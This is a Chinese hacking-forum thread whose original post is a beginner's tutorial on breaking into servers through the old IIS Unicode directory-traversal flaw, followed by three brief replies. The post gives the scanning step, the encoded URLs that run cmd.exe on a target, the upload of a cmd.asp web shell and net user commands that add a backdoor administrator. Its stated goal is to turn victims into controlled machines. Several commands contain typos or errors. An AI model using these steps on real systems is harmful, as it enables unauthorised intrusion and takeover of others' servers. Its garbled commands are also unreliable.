20CN网络安全小组论坛 - 菜鸟乐园 - 用unicode漏洞轻松拿管理员权限[原创]

论坛: 菜鸟乐园标题: 用unicode漏洞轻松拿管理员权限[原创]

作者: sgpeng [sgpeng]

论坛用户

最简单黑页的方法是什么？
众鸟答说：用unicode漏洞黑页！
对，但如果你只是想过一把黑页瘾的话，那么没必要看这篇文章了。
修改对方的主页只能很快的暴漏自己，还不如作成肉鸡呢！
好了，言归正转：

工具：X-Scanner 1.3 cmd.asp （X-Scanner 1.3 20cn有，cmd.asp自己去http;//www.google.com收吧！）

开工！
N。O。1：找有漏洞的机子。用X-Scanner 1.3 慢慢找，这样的机器现在网上还很多！（这个漏洞好象是2000年公布的吧~悲哀啊~）

祝你好运！怎么样，找到了吗？

假设我们找到了一台主机IP：111。111。111。111
呀，忘了一件事，中文版的和英文版的不同，简单说一下：

中文版的WIN2000中，UNICODE编码存在BUG，在UNICODE 编码中
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = ‘/‘
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ‘＼‘

在NT4中/编码为%c1%9c

在英文版里：WIN2000英文版%c0%af

那些编码不用搞的很清楚，知道怎么回事就行。

在IE里键入：
http://111.111.111.111/scripts/..%c1%lc../winnt/system32/cmd.exe?/c+dir

看到的目录是空的，好！已经成功一半了！

继续：http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:＼
就可以看到该主机c:盘的目录和文件。

呀呀，介绍拿administrator 的怎么介绍起漏洞来了~
想必黑页大家都会了，好，用黑页的方法把cmd.asp传到主机IIS的主目录物理路径下！！！

哈哈，把IE当cmd.exe用，很爽吧！
接下来：
net user sgpeng 123456 /add
net user locagroup sgpeng administrator /add
OK了！！！！！！！！！！！！！

呵呵，怎么样，比黑页有意思吧！
下一次咱们说说IP$空连接的实现与深入！！挖出大秘密来！！

呀，我打字慢，今天连打了3篇文章，累死我了！！
找MM聊天去了，bye！
最后祝大家天天进步！！！！！！！

地主发表时间: 06/26 14:21

回复: coldnight [coldnight]

论坛用户

没有权限，能加么？

B1层发表时间: 06/29 11:12

回复: jeremy [jeremy]

论坛用户

拜托大哥哥那个漏洞早就很老ㄌ...
再加上红色警戒的迫害!早就几乎都没ㄌ
除非是粗心ㄉ网管

B2层发表时间: 06/29 22:47

回复: vj110 [vj110]

论坛用户

俺菜的要命，，，更别说黑人家的主页啦

B3层发表时间: 07/01 09:53

论坛: 菜鸟乐园